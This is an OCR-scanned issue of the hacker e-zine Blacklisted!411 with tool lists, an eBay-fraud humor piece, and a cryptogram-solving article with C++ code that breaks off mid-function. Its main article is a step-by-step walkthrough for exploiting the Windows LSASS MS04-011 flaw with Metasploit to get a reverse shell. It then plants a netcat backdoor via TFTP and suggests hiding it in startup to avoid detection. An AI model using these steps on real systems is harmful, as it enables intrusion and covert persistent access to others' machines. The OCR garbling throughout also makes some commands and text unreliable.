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[1] ==Introduction: General Updates==

Well not much to say. Most of my regular writers, including me, are stuck with the C32.Flu virus that’s been running around (That is the
Carbon 32bhit Flu Virus). An excellent article from Israel Torresisthe life saver thistime. Also, I'm till looking for writers. Willing to trade
SWAG for work! The eBay fraudster article is sort of your “comica” relief for Christmas, so | hope you enjoy. Got a couple things planned
for the site, including a All Hacker Wiki, and a Blog section which will be similar to “Hack a Day”. 2006 Printed editions are going to have
some new graphics, so you might want to look around if you cant find it at your local bookstore. Also, a possible points system may be added
to the forums for SWAG, Issues and other prizes. And that’s about it. Hope everyone has a great Christmas. Make sure to update your anti-
viruses against the C32.Flu (Honestly it’s not fun).

Merry Christmas!!!!

[2] ==Edition Quote==
“C:\DOS
C:\DOS\RUN

C:\RUN\DOS\RUN”
Anonymous

[3] ==Tools==

Spyware & Privacy Stuff
CCleaner —www.ccleaner.com
Spybot S&D — http://www.safer-networking.org/

Sniffers

Ethereal - http://www.ethereal.com/
Ettercap - http://ettercap.sourceforge.net/
EtheApe - http://etherape.sourceforge.net/

Online Perimeter Testing
PC Flank - http://www.pcflank.com/

[4] ==Links==

http://www.israeltorres.org — Awesome security blog from one of our authors.
http://perverted-justice.com — A few good guys working to clean up the internet from pedophiles.
http://www.warspyla.com/ - Warspying, the art of wireless camera sniffing.
http://www.hackingisnotacrime.com/ - Name saysit all

http://www.torrentspy.com — Bittorrent isn’t dead, just being ignored!

http://www.i-hacked.com — An excellent site for some hardware hacks.

FREE POSTERS

Excellent poster for the security geek.. Plus, they are FREE (Courtesy of tripwire). Check it out.. | promise you, its well worth the phone call
and any propagandayou get in the mail.

http://www.tri pwire.com/resources/posters/index.cfm

A Demo PDF of one of their posters can be found here. Personally | love the “ Server Under Siege” Poster, but was unable to find a PDF
preview.

http://www.tripwire.com/filed/literature/poster/Tripwire_exploit_poster.pdf

Quick note, thisis not a paid advertisement. | just wanted to let everyone know they could get free posters while they last.




[5] ==Articles==
[a]

Penetrating You Ever So Deeply

By Israel Torres<lsrae @israeltorres.org>

This article will demonstrate the simple stepsin “pwning” a system and having your way with it.
Disclaimer: Please note this article is for demonstration purposes only.

With this demonstration you are going to learn a simple Windows on Windows attack-defense posture. Y ou may think that practical systems
on today’ s networks may be easily able to prevent this particular attack. However | will say that | have seen this exploit succeed on many
production systems at a corporate level on machines that are allegedly supposed to be secure even at a National level. | would not suggest
trying this unless you understand the consequences. Y ou may have better [uck running this at the next LAN party. | would suggest trying this
on an isolated test network.

Requirements:
1 - System_Attacker (Windows 2000 — base installation)

1 - System Defender (Windows 2000 — base installation)
1 - Crossover cable (or hub)
If you have virtual emulation software, create two of the above images instead.

Configuration:
To keep this demonstration simple you will have two systems, one attacking and one defending. They are respectively named and referred to
as“ATTACKER", “DEFENDER”.
Using the same subnet: 255.255.255.0 they are statically configured to use |P as follows:
ATTACKER : 192.168.2.4
DEFENDER : 192.168.2.3

This demonstration uses the LSASS overflow vulnerability and exploit. There are tools readily available for download. (URLS and
information are posted at the end of this article for readability). The tools used in this demonstration are as follows:

Softwar e to download:
DSScan v1.00
Metasploit Framework 2.5

Once you have downloaded this software make sure you install (if necessary) and configure them on your attacking machine (e.g.
ATTACKER). All penetration will be done through system ATTACKER. All installation procedures are for the default configuration profile.

DSScan:
Extract DSScan.exe from dsscan.zip and place it on the desktop.

Da5Scan.exe

M etasploit:
Install Framework-2.5.exe



OMetasploit Framework 2.5 Setup

Welcome to the Metasploit
Framework 2.5 Setup Wizard

through the i lation of

o conkinue,

TheTest
At this point you want to make sure our network is working the way you think it is, and the way you want it to be working.

Click Start>Run and type CMD.EXE to open a command session. At the command prompt type prompt $g
This redefines your command prompt to get rid of the clutter.

D:\WINNT\sy;temBZ\tmd.eHe

Microsoft Windows 2088 [Uersion 5.00.2195] u
{C> Copyright 1985-2808 Microsoft Corp. .

D:“Documents and Settings“Administrator>prompt &g
>

Now you should ping system DEFENDER to make sure you can establish a connection:
At the prompt type PING.EXE 192.168.2.3

D:\WINNT\systemSZ\cmd.eHe

Microsoft Windows 2008 [Uersion 5.808.21%51 u
(C> Copyright 1985-2AAA Microsoft Corp. .

D:“\Documents and Settings“Administrator>prompt $g
>PING.EXE 192.168.2.3
Pinging 192.168.2.3 with 32 bytes of data:

Reply from 192.168.2.3: bytes=32 time<{1Bms TTL=128
Heply from 192.168.2.3: bytes=32 time<{1B8ms TTL=128
Reply from 192.168.2.3: bytes=32 time<1Bms TTL=128
Reply from 192.168.2.3: bytes=32 time<1Bmsz TTL=128

Ping statistics for 192.168.2.3:

Packetsz: Sent = 4, Received = 4, Lost = (@ lossd.
Approximate round trip times in milli-seconds:

Minimum = Bms,. Maximum = @Bmns, Average = Oms

>

Y ou should expect an immediate reply from system DEFENDER if things go as expected you may continue. Otherwise if you can't see
system DEFENDER you appear to have a networking problem which is out of the scope of this article. Y ou may not pass go until you have
figured this out.

Y ou may close this command session by typing EXIT and then hitting the enter key.

The Scan



Y ou need to scan your defending target at this time to check whether or not it is vulnerable to this attack. Do not attempt an outright attack
without gathering intelligence about your target system. Doing so could compromise your own security and personal freedom.

Start DSScan.exe by clicking on it (it should be on the desktop).

DSScan 1.00 - Copyright © Foundstone Inc. 20
IPs

HostnameAP  [IEERLEEEE > Start IP
Stat P X

EndIP

Hosthane MetBI0S

Scanned 00 Yulnerable 1]

[

By default it should have the | P address of system ATTACKER (192.168.2.4). Thereis no need to scan range of |1 ps since we know our
target’s |P address. Y ou may type it explicitly in by changing the last digit from 4 to 3 and click the = button. Otherwise if you have other

machines on this network you can just click the big = button to get the Start:End range |oaded.



DSScan 1.00 - Copyright © Foundstone Inc. 200

EndIP

Start |P E
End P M

Fiead IP= fram file

Yulnerable lli:l

The rest of the settings should remain at default for this demonstration. Y ou can go back and play with them later. Once your defender’s IP
has been loaded, click the blue arrow button at the right. After afew seconds the red progress line will turn blue and system DEFENDER

should show a status of VULNERABLE.

Scanned

DSScan 1.00 - Copyright © Foundstone Inc. 200
IPs

Hostnamed P [IEERLEERESE = tIFP EndIP
Start [P & ¢ -

EndIF %

DEFENDER

Scanned 14 Yulnerable 1

If things go as expected you may proceed. Otherwise you appear to have patched your Windows 2000 image somewhere along the line. The
good part isthat your system is not vulnerable to this specific attack. The bad part is that with this patch in place the demonstration will not

work. Y ou may not pass go until your test system is no longer patched.



The Attack
You are ready to pwn the defending machine.

First we need to open the M SFConsole:
Click Start-> Programs-> Metasploit Framework-> M SFConsole

Set Program & nd Defaults

éj A 25

E Metasploit Framework

Programs
Documents
|55

=]

To make things easier to read maximize the window by clicking on the middle button on the right of the command window.

At any time you may request help by typing help at the console:

msf > help
[FAIMsFConsole
388 888 dB8h88s
888 288 Y8PE88
388 888 888
B8888b.d88h. .dB8Bh. 388888 B888h. .dB8888bh 8B888h. 888 .dB8hL. BEEBBEB8E
888 888 “BBhdBP YBhEES "88hBEK 888 “88hE8RJER“SRLBRERASR
888 888 BEBIREBRER8RES .d388888"YE888L.B88 RESRRERRE SBEBAEERAR
288 888 888Y8h. Y88h. 888 888 XB88888 JABBPEBSYEE. _8B8PEEEY88DL.
888 888 8BS “YBBE8 “YSBS“YSBERES BB8REP’EBEBEP' BES Y8RP 888 “YBSR
888
888
888
+ —— ——=[ nsfconsole v2.5 [185 exploits — 74 payloads]
mzf > help
Metasploit Framework Main Console Help
7 Show the main console help
cd Change working directory
exit Exit the console
help Show the main console help
info Display detailed exploit or payload information
gquit Exit the console
reload Reload exploits and payloads
save Save configuration to disk
sety Set a global environment variable
show Show available exploits and payloads
unsetyg Remove a global environment variahle
use Select an exploit by name
version Show console version
msf > _
To list the available exploits type show exploits
msf > show exploits
Y ou can scroll and find the exploit used in this demonstration:
Isass ms04 011  Microsoft L SASS M S04-011 Overflow
AL WAWIIL _UVYGITL LUW LAnk WJIJWIIU=ULL L1J0fl 1l YVYGEILL LUW
imail_imap_delete IMail IMAP4D Delete Overflow
imail_ ldap IMail LDAP Service Buffer Overflow
irix_lpsched _exec IRIX lpsched Command Execution
lzass_ms@4 A1l Microsoft LESASS ME04-Ai1 Querf lou
mailenable_auth_header MailEnable Authorization Header Buffer Overflow
mailenabhle_imap MailEnahle Pro <1._54> IMAF SELECT Requezt Buffe

r Ouerflow




Y ou need to specify that you are going to use this exploit:
msf > use Isass ms04_011

Y ou can view this exploit’s configuration settings by typing show options
msf Isass ms04_011> show options

[ IMSFConsole

mef » uze lzass_msB4 @11
mzf lsasszs_ms@4_MA11 > show options

Exploit Options

Exploit: Hame Default Description

required RHOST The target address

optional SMBDOM The domain for specified SMB username
regquired RPORT 139 The target port

optional SMBUSER The SMB username to connect with
optional SHMBPASS The password for specified SMB username

Target: Automatic

msf lsass_ms@4_@011 > _

Y ou need to set the variable names as follows. Casing is very important here, otherwise you will receive awarning that the names areto bein

UPPER case.
Y ou need to set the remote host address (system DEFENDER)
msf Isass ms04 011> set RHOST 192.168.2.3

Y ou need to set the local host address (system ATTACKER)
msf Isass ms04_011> set LHOST 192.168.2.4

Y ou need to set the payload for this exploit.
Msf Isass ms04_011> set PAYLOAD win32_reverse

Y ou are now ready to exploit the target system with one simple word: exploit
msf Isass ms04 011 (win32_reverse)> exploit

[ IMSFConsole

mef » uze lzass_msB4 @11
mzf lsasszs_ms@4_MA11 > show options

Exploit Options

Exploit: Hame Default Description

reqguired RHOST The target address

optional SMBDOM The domain for specified SMB username
required RPORT 137 The target port

optional SMBUSER The SMB username to connect with
optional SHMBPASS The password for specified SMB username

Target: Automatic

mef lzass_mzB4_B11 > set RHOST 192_168.2_3
RHOST —-> 192.168.2.3

mef lzass_mz@4_@11 > set LHOST 192_168.2_4
LHOST —-> 192.168.2.4

mzf lzass_m=B4_B11 > zet PAYLOAD win32_reverse
PAYLOAD —> win32_reverse

mzf lzass_msB4_B11(wind2_reverse) > exploit_

When you have a successful connection you should see system DEFENDER’ s command prompt:

[*] Starting Reverse Handler.

[*] Detected a Windows 2000 target ()

[*] Sending 32 DCE request fragments...

[*] Sending the final DCE fragment

[*] Got connection from 192.168.2.4:4321 <-> 192.168.2.3:1033

Microsoft Windows 2000 [Version 5.00.2195]
| Copyright 1985-1999 Microsoft Corp.




C:\WINNT\system32>

m=f lsass_msB4_BA11<(wind2_reverse? > exploit

[#] Btarting Reversze Handler.

[+*] Detected a Windows 2080 target {2

[#*] Sending 32 DCE request fragments.

[#] Bending the final DCE fragment

[#] Got connection from 192.168.2.4:4321 <-> 192.168.2.3:1833

Microsoft Windows 2808 [Uersion 5.80.21951]
<C» Copyright 1985-1999 HMicrosoft Corp.

C:“\WINNT“\system32>

The Next L evel
Congratulationsyou arein! ... So now what? Once you are in there are unlimited possibilities of what you could do next:

Only Fooling Around
A quick way to get noticed isto send amessage using “net send” (if it isn’'t disabled). Y ou are having the penetrated system send a message

toitself.
Type net send 192.168.2.3 We Are Controlling Transmission

ATTACKER VIEW

C:wWINNTwsystemnd2>net send 172.168.2.3 We Are Controlling Transmission
net send 192.168.2.3 We Are Controlling Transmizszion
The message was successfully sent to 192.168.2.3.

DEFENDER VIEW

Messenger Service

& From DEFEMDER. Lo

We Are Contralling Transn

To make it more confusing you can use its own computer name (e.g. DEFENDER) instead of the | P address:
Type net send DEFENDER We Are Controlling Transmission

ATTACKER VIEW

C:“UWINNI~system3dZ>net szend DEFEMDER We Are Controlling Transmission
net send DEFEMDER We Are Controlling Transmission
The messzage was successfully sent to DEFEMDER.

DEFENDER VIEW

Messenger Service

. to DEFEMDER. on

Remember in areal life scenario this will only start bringing questions and may eventually lead back to you (especialy if you are known to
be the “resident hacker”) especialy if you haven't taken any other precautions.

Here are the downsides once you have established a connection:
o If a any timethey sense something is going on they can typein netstat —a and see the machine named ATTACKER is connected /

or was connected to their system at one time.

DEFENDER VIEW



[l Select =\ WINNT", System32' cmd.exe

Microsoft Windows 2088 [Uersion 5.808.21951] u
{C> Copyright 1985-199% Microsoft Corp. .

C:\rnetstat —a

fictive Connections

Proto Local Address Foreign Address State

TGP defender:epmnap defender:B LISTENING
TCP defender:microsoft—ds defender:8 LISTEMING
TCP defender:1825 defender:@ LISTENING
TCP defender:1033 defender:@ LISTENING
TCP defender:nethios—ssn defender:@ LISTENMING

CP defender:1833 ATTACKER: 4321 ESTABLISHED

uDpP defender:epnap e

[ defender:imicrosoft—ds
upp defender:1826

upp defender:1839

upp defender:nethios—ns
upp defender:nethios—dgm
uDp defender:isakmp

o If a any timethey sense something is going on they can start their Windows Task Manager and immediately alot of processes
happening. More questions will arise after they try and attempt to end these processes only to find ACCESS | SDENIED. — These
processes remain active even after you have dropped the connection.

DEFENDER VIEW

e Launching GUI based applications will not work as you expect them to.

TakeaFile Leave A File
Something alittle more practical and useful once you have penetrated a system isto either copy filesinto the system or copy files out of the
system. These files can be more tools to further the penetration, password files, illicit pictures, classified reports, etc.

Chances are the target system will not have something readily available other than the default TFTP client. (This client is often ignored and
remain on some of the most “ secure systems” out there). With the client already installed on your target system (DEFENDER) by default all
you need isto install and run a TFTP server on your side. In this case we will have this on system ATTACKER, in other casesthisis usually
on another system far away from you (also controlled by you).

A great Windows TFTP server is TFTPd32 by Ph. Jounin. Download and extract the zip file to system ATTACKER's desktop and click on
tftpd32.exe to start the default service on port 69.

ATTACKER VIEW



"z Thtpd32 by Ph. Jounin

Current Directory |0:\Documents and Setiingzhdministratar

lear Copy Current Action |Listening on port B9

For thisdemonstration you will copy 2 files over from system ATTACKER to system DEFENDER using TFTP.
Y ou should still bein DEFENDER’s command prompt from system ATTACKER. If not get there as documented above. I'll wait.
At thispoint TFTPD32 is running and you have penetrated system DEFENDER and ready to get busy.

One thing you may have noticed by now is that the console is unfor giving to mistakes. For example using the backspace because you
mistyped something won’t work as you think it will. If you are going to be typing commands again and again write them into a batch file then
copy thefile over as done in this demonstration. Again the obvious heed for thisis that there is now aforeign artifact on syssem DEFENDER
and may either get noticed or removed automatically by a scanner of sorts. Most importantly you are now leaving hard evidence that you
wer e there. You can also just copy text from system ATTACKER and pasteiit to system DEFENDER if you really don’t want to leave bat files
on system DEFENDER.

“HereKitty Kitty”

A question now comes to mind. Say you want to come back to this machine for whatever reason. Do you really want to risk using this
vulnerability:exploit method again? What happensif the vulnerability is patched? What happensif you can’t get to a machine that has
Metasploit readily available? Y es, thinking ahead is a very important part of any type of “hack”. For this demonstration we prepare our future
by assuring our gateway to this system by installing a running version of everyone's al time favorite networking tool netcat. Thisisa
reliable tool that will suit our needs of letting us (or anyone else savvy) back in the system at our beckoned call.

Download and extract nc.exe from nclllnt.zip. To make things easier copy nc.exe to the same directory tftpd32.exeisin. Also create a
batch file with notepad that contains this single line:

@nc - —p 23—t —ecmd.exe

... Savethe filewith quotes as “ nc.bat” so that it is saved as a.bat extension, otherwise it may get saved as nc.bat.txt which won't be useful
tous.

ATTACKER VIEW

& D:\Documents and Settings',Adminis
File Edit Wiew an Tools  Help
rch L

HLP

From system ATTACKER:DEFENDER's command prompt type TFTP —| 192.168.2.4 GET nc.exe to copy the file from system
ATTACKER to system DEFENDER.



ATTACKER VIEW

G WINNT~system32>TFTP —i 192_168.2_4 GET nc.exe
TFTP —-i 192.168.2.4 GET nc.exe
Transfer successful: 61448 hytes in 1 second. 61448 hytes/s

From system ATTACKER:DEFENDER'’s command prompt type TFTP - 192.168.2.4 GET nc.bat to copy the file from system
ATTACKER to system DEFENDER.

ATTACKER VIEW

C:sUWINHT~system32>TFTP -i 192_168.2_.4 GET nc.bat .
TFTP —1i 192 _168.2_.4 GET nc.bat
Tranzsfer successful: 26 bytes in 1 second. 26 bytesss

Y ou can also monitor this activity from the TFTPD32 server window:

ATTACKER VIEW

%TftpdSZ by Ph. Jounin

_, ) : resent [02/01 14:41:17. 345"
d fromn 19 " port 01 14:41:56.151]

b for file <o bat : A1]

From system ATTACKER:DEFENDER'’ s command prompt type start nc.bat to start netcat listening on port 23.

ATTACKER VIEW

MSFEunsuIe

[#]1 Starting Reversze Handler. Il
[+*] Detected a Windows 2888 target O

[#]1 Sending 32 DCE request fragments...

[#]1 Sending the final DCE fragment

[#] Got connection from 192.168.2.4:4321 <{-> 192.168.2.3:1842

Microsoft Windows 2088 [Uersion 5.AA.21951

GO

Copyright 1985-1999 Microsoft Corp.

GC:sWINNT~system32>dir nc.*
dir nc.

Uolume in drive C iz WINZK
Uolume Serial Mumber is 427E-7647

Dirvectory of C:SWINNTSsystemd2

128672005 @7:55a 61.448 nc.exe
12-/06-200% @7:5%6a 26 nc.bat
2 File<s?> 61,466 hytes

@ Dir<ds> 20.254,.523.392 bytes free

GC:“WINNT~system32>start nc.bat
start nc.bhat

Gz WINNT 5 zstem32}




Using system ATTACKER you can start a new command session by clicking Start->Run and typing in CMD.EXE. At the prompt type telnet
192.168.2.3 23 and you should be greeted by the familiar command prompt on system DEFENDER.

ID:\wINanystemazxcmd.eue - telnet 192.1

Microsoft Windows 2080 [Version 5.8@.2195%1
CC> Copyright 1785-19?%7 Microsoft Corp.

C:~WINNT~system32>_

Using system ATTACKER you can now exit your M SConsole because you have created an alternate way to connect to system DEFENDER

If you craft the batch file carefully enough and load it into the startup this batch file will start up after the user haslogged in (be careful not to
pop up messages to the user otherwise you will draw attention to yourself), allowing you to connect again at any time using either netcat or
telnet. If you know how to program you can create can pull even deeper to the system and become harder to detect.

Y es, readers the possibilities are truly endless. The only limitation is you. With that in mind this ends this lesson in penetration. Hopefully it
was good for you asit was for me.

Keepingit ‘rael,
Isragl Torres

URLSs, downloads, and further information can be found at the following:

DSScan v1.00 (Foundstone’ s LSASS scanner)

e A Windows® network admin utility for remotely detecting L SASS vulnerability released in the MS04-011 bulletin. Allows you to
scan multiple IP ranges and send an alert message to vulnerable systems. Note: Thistool requires the ability to establish anull
session to each target host.

http://www.foundstone.com/resources/proddesc/dsscan.htm
http://www.foundstone.com/resources/freetooldownload.htm?file=dsscan.zip

Metasploit Framework 2.5 (Full Installation For Windows)

e The Metasploit Framework is an advanced open-source platform for devel oping, testing, and using exploit code. This project
initially started off as a portable network game and has evolved into a powerful tool for penetration testing, exploit development,
and vulnerability research.

http://www.metasploit.com/projects/Framework/downloads.html

TFTPd32 by Ph. Jounin

e  Tftpd32includes DHCP, TFTP, SNTP and Sydog serversaswell asa TFTP client.
http://tftpd32.jounin.net/
http://perso.wanadoo.fr/philippe.jounin/download/tftpd32.280.zip

Netcat
e Netcat for NT isthetcp/ip “Swiss Army knife” that never made it into any of the resource kits.
http://www.vulnwatch.org/netcat/

TFTPRFC
http://www.fags.org/rfcs/rfc1350.html
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Spotting a Ebay FRAUD
By Ustler

(Just to note, thisis meant to be comical, rather than technical)
Although eBay does a decent job of controlling most of the fraud that goes on, alot of it dips by. There is nothing worst than bidding on a
Item you Really want, only to be disappointed when you find out the seller isjust there to take your money. Using some Basic skills, you can
easily spot a fraud and avoid being their next victim.

Feedback, Feedback, Feedback: Tricks played by fraudulent sellers

We have been told that feedback is the thing to look for when buying from a seller, but how do we determineif it’slegit. Recently I've run
across afew fraudulent eBay auctions and have decided to use them as an example. The item, a TomTom Go 700 for under 100 bucks from
China (First clue, be careful where you buy from. China and other places should send up red flags until you investigate further, consider it
fraudulent. Remember, if your in the U.S. the cost to sue these people would be more than what its worth, that’ s if you can sue them in the
first place)

fa eBay: TomTom Go 700 Portable GPS Navigation {item 5835501257 end time No¥-28-05

TECHNOLOGY ]

omTom Go 700 Portable GPS Navigation

You are signed in Watch this item in b
Currert bid Seller information

lijuenwn (27

Time left:

Description

Asyou can see, the user has afeedback score of 9 and a positive rating of 90%. Also, itsimportant to note the date of the registration. If the
date is rather new (less than a month) you might want to be careful. It’s rather easy to set up an eBay account, so the signup date is rather
important. If the signup date is less than 2 months, take some time and contact the seller to see if heis actually responding to his email, if he
replies, check his email address. Isit hotmail, yahoo? Does he/she have a profile or use the email for anything else? Isit arandom set of
characters such as adaOfwehfd@null.domain or something reasonable? Trust me; no legit seller would pick such an email address.
Also, before looking at the feedback, take note of his name. Thiswill play an important part in showing us how dumb certain eBay fraudsters
are.



f; eBay Member Profile for lijuenwn - Microsoft Internet Explorer

File  Edit a s Tools Help

n tirme

e to do busi

re to do busine

Thefirst thing to notice is the names and feedback levels of all his“positive” feedback. Notice how about 10 other people all chose random
names and left him positive feedback. Also notice (And | find this rather hilarious) how he repeats the same comment over and over. Such as
“Great eBayer, smooth transaction, a pleasure to do business with! A”

Is used by two separate people (Wow, that’s odd).

The next thing that should set of amajor alarm isthe “No longer aregistered user” under each of the names. | guess al his feedback decided
to close their accounts after buying items from him. Also, | want you to take alook at the times of the sales. They pretty much ended about
10+ seconds between each other. Some of the others are off by 10 hrsor afew days. Thisis not uncommon among power sellers since most
of their tools can list aitem in arather short period of time. Next, lets take alook at one of the past items he sold.
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Now, | have to warn you, thisis probably one of the dumbest fraudsters around. Come on, a sale of aitem wit
look at the winning bidder for thisitem (njutyukr).

t adescription?? Letstake a

'ﬁ eBay Member Profile for njutyukr - Microsoft Internet Explorer
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no longer a registered user

Seller ygqd9040188 (13 ¥¥)
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Holy shit, look, it's another 9 people who decided to use random usernames and better yet, they are al “no longer aregistered user”. Thisis
not uncommon. Essentialy, in order to commit a fraudulent eBay auction, a user must have positive feedback from a few people before any
reasonable buyer would consider them. Also, to make good money, a fraudster must have multiple accounts listing different items. | mean,




you can’t have just one account. What happens if eBay shuts down their usernames? Those poor guys would have to start a whole new
account again in order to make alittle money. It simportant to note that these fraudulent eBay sellers will aimost always have 3-4 active
accounts along with LOTS of invalid or disabled accounts. Just one more comical note, check out the fact that our friend from the previous
eBay auction “lisuenwn” had also purchased a fake item from this fake feedback account. Remember, feedback only countsif it'sfrom a
unique user. Selling to the same user won’t show up as positive feedback. Fortunately for us, this seller (Term used very loosely) isusing a
feedback web. Essentially, he creates 20 accounts, sets up items, and then starts to |eave feedback for each account. This gives him 20
accounts to attempt his fraudulent activity with. That means each account would have 19 positive feedbacks, thus making him look like a
legit seller.

Don’t Jump the Gun

The most common means of tricking avictim is by setting the auction to alow running length, such as 24 hrs. When he creates the item, he
simply creates alink to an external webpage for the items description (Similar to an include). After this, he closes the site down so that the
item has NO details. He then uses his other accounts to bid hisitem up to areasonable but considerably low price. During the last 1-2 hours,
he puts his html description back on the server (Can use multiple means of doing this) and the description magically appears back on eBay.
He then sits back and watches as people start to jump the gun and bid on hisitem. | mean, they’ ve got 30 minutes left and the item is about to
be sold for Y2 to 3/4™ of its retail value, who could resist? Don't fall for this pressuring trick. Take your time and check the eBay sellers
feedback and look for red flags. If you do bid on aitem hastily, and after winning, you find out that you are dealing with a fraudster, email
eBay and explain to them that you aren’t comfortable paying for the item. If you are unsure, grab yourself one of those credit cards that has
fraud protection. At worst, you can file aclaim (Not to sure how that works. I’ m pretty good at identifying fraudulent auctions, so | don’t
usually need to use a credit card with fraud protection.)

TheWord Game

Every wonder why that item is selling for 10$ when it’s a 500$ item??? Well, you may be subject to word trickery. This means of fraud isa
gray areawhen it comes to eBay. Its semi-legit and hard to fight against once you send them the money. Essentially a person creates aitem,
(Wewill use the Xbox 360 in this case) displaysalot of technical information about it, and on the last two paragraphs (Which are normally
in smaller font) says something similar to “ This auction is not actually for the item, but for information on how to obtain the item”. Now you
have to admit, that’s just wrong. But | hate to tell you, this happens everyday. People don’'t examine the fine print, but rather rely on the
photo to verify it's an actual object. If you don’t believe me, check out this poor soul who lost 470£ for a“Picture” of the Xbox 360 Premium
package. That’sright, a Picture.

http://www.theregister.co.uk/2005/12/08/xbox_photo_auction/

If you notice, the seller has arating of 137. In this case, he sold a bunch of junk before going for his big ticket fraud item. Just in case you
don’t know, 470£ is about 833 USD. Nice profit for a picture of a Xbox 360..

Conclusion

Use some common sense and afew of my suggestions and you will be able to avoid loosing your money to fraudulent eBay sellers.

Just a Quick Note: The other winner’swhite paper isposted at http://blacklisted411.net/crypto/2/brian.d.html
Only Reason | sra€l’sis posted is because hewasthefirst oneto solveit.

[c]
Hacking Cryptograms 101: How To Free Your Hacking Mind

By Israel Torres< israel@israeltorres.org >

Welcome back to another lesson in hacking cryptograms. Thistime | invite you ajourney inside my head. Buckle your seatbelts
and keep your hands and arms inside the vehicle at all times. Y ou have been warned! We begin this lesson by waiting for the last issue of
Blacklisted!411.NET to be released so that | could get agander at the next cryptogram. 5... 4... 3... 2... 1... *

You arenow in my head ---

Wait for it... Wait for it... Bingo!

Zero-Hour! Blacklisted!411.NET Online Edition 2 hits the Blacklisted411 server. | quickly scan the PDF for the cryptogram. Scroll, scroll,
scroll. Ahyes, thereitis.

00010010010111000001100101100101101000010010001110001011001110011

Hmm, at first glance it looks like abinary string. | quickly click a battery of my personal toolsto find out what this baby is saying to me. |
copy the “binary looking” string into the edit control and click decode. Nope... just garbage. | am glad it wasn’t that easy.



Asthe gears begin to churn | reverse the binary string and try again:
11001110011010001110001001000010110100110100110000011101001001000
Bah more garbage, trying again.

Next, | invert the string (also known as 1's complement) to seeif we are getting tricky.
11101101101000111110011010011010010111101101110001110100110001100
Nope.

Ok how about inverting and then reversing the string:
00110001100101110001110110111101001011001011001111100010110110111
Y uck, still nothing.

Seconds have gone by and still no results. Ok let’s ook at thislogically and see if we can find somewhere to start.
Let’sbreak it into 8 bits and seeif that will help

00010010
01011100
00011001
01100101
10100001
00100011
10001011
00111001
1

Hmm, that extra 1 hanging around at the bottom doesn’t look good. We get some results, but nothing good enough to keep going with this
theory. Let'stry 7 bit

0001001
0010111
0000011
0010110
0101101
0000100
1000111
0001011
0011100
11

Ugh, that doesn’t look any better. Let’s try changing byte order and setting to 8 hit.

0]

00100100
10111000
00110010
11001011
01000010
01000111
00010110
01110011

Still stuck, let’stry reversing and changing byte order and setting to 7 bit.

(00]

0100100
1011100
0001100
1011001
0110100
0010010
0011100
0101100
1110011

Bah, nothing still. Think, Think, Think!



| don’t like how this string has “ extra parts’ when breaking into 7 or 8 bit parts. Let’s get the length of the string.

int nCrypto = strlen(szCrypto);
cout << nCrypto << endl;

65

* click *

Interesting, this representation of abinary string is odd and divisible by 5. If we do we get 13 x 5 bit binary numbers. No, it can’t be. | open
up CALC.EXE and in decima mode enter the number 26 and click BIN for a binary conversion, theresult is: 11010. Ah, thiscan't be a
coincidence. We get a5 hit result. Ok now we are getting somewhere!

The Roman alphabet (commonly used in the English Language) is comprised of 26 character symbols starting at A and ending at Z (case at
thistimeisn’t important). If you start with the common numeric representation of 1 being A and 26 being Z we can deduce that this binary

string may just be a message following this criteria and by creating atranslation table we can seeif there is a message there.

Let’'sthrow up a binary table to show you what is being seen:

| BIN | DEC | Alphabet |

F8421 126 A-Z
00000 0 N/A
00001 1 A
00010 2 B
00011 3 c
00100 4 D
00101 5 E
00110 6 F
00111 7 G
01000 8 H
01001 9 |
01010 10 J
o011 11 K
01100 12 L
01101 13 M
01110 14 N
01111 15 o)
10000 16 P
10001 17 o)
10010 18 R
10011 19 S
10100 20 Y
10101 21 u
10110 22 v
10111 23 W
11000 24 X
11001 25 Y
11010 26 z

Hereisthe original ciphertext message:
00010010010111000001100101100101101000010010001110001011001110011

Now we break it into 5 bit chunks and use the table above to decode:

00010 B
01001 9 |

01110 14 N
00001 1 A
10010 18 R
11001 25 Y



01101 13 M
00001 1 A
00100 D
01110 14 N
00101 5 E
10011 19 S
10011 19 S

BINARYMADNESS

Voilal | have found the correct solution! | email the solution and the method of attack to crypto@blacklisted411.net within 19 minutes
of it being released!

--- Get out of my head!
*1...2...3...4...5...

Ok, welcome back folks! Hopefully everyoneis OK. Now let’s get to the fun part where | demonstrate how you can do this
programmatically. Thisway if you run into this type of cryptogram again you can use this tool to quickly find the solution. If you aren’t into
coding, | suggest you at least look it over to get afeel of the logic involved. If you simply refuse to even look at it skip the following example
and GOTO NO_CODING();

Let’ stake for example the last edition of the Blacklisted411.net cryptogram:
00010010010111000001100101100101101000010010001110001011001110011

Here we will go throw the documented code and explain at least one approach in finding the solution to the cryptogram. Don't worry you
don't have to type al this out, you can download the file from the source cited below. Thisis avery simple example that allows you to
manually play with the idea of finding the solution to this cryptogram. Play with the values and write in your own conditions to get more out
of it.

// Blacklisted411.net_HackingCryptograms101_example 2.cpp

/I Hacking Cryptograms 101: How To Free Your Hacking Mind

/I By Israel Torres < israel @israeltorres.org >

1

I/ This example demonstrates how to find a solution to a 5-hit right to left bit order string
I

#include <iostream.h>
#include <string.h>
#include <stdlib.h> // used for exit(1);

void main(int argc, char* argv[])
{
I/ here we are setting up our variables for use
char szCrypto[ 255] ="\0";
char szCBin[255]="\0";
char szTemp[2]="\0";
int flag_skip= 0;
int nBin= 0;

I/ here we are copying our cryptograminto a variable
strepy(szCrypto,"00010010010111000001100101100101101000010010001110001011001110011");

Il here we are showing what the cryptogramis to the console.
cout << "ciphertext:" << endl;
cout << szCrypto << endl;

/I here we are finding out what the length of the cryptogram is
int nCrypto = strlen(szCrypto);

/I here we are displaying the length of the string to the console
cout << "length of ciphertext: " << nCrypto << endl;



I/l here we are displaying what will be the result of the plaintext to the console
cout << "plaintext: ";

I/ here we are making sure this string is divisble by 5
if (NnCrypto%5 == Q)

/I here we are going to work for the length of the string
for (int nloop = 0 ; nloop < nCrypto ; nloop++)

I/ here we are copying data into a variable for exclusive usage.
szTemp[ 0] = szCrypto[ nloop] ;

// Here we are making sure we are looking at a binary string comprised of 0 and 1 only.
if ((int(szZTemp[Q]) >= 48) && (int(szTemp[ O] ) <= 49))
{

/I Here we will start chopping this string up into 5 bit values
if (flag_skip !'=5)
{

strcat(szCBin, szTemp);

flag_skip++;
}
ese
{
flag_skip= 0;
nloop--;
strepy(szCBin,"");
}
I/ here we are processing and converting the 5hit right to left bit order binary
/I value to decimal

if (flag_skip == 5)
{

// here we are setting up our variables for use
intp=1;
int sum, sum_dec = 0;

I/l here we are finding out what the length of the 5-bit string is
//(don't take it for granted)
nBin = strlen(szCBin);
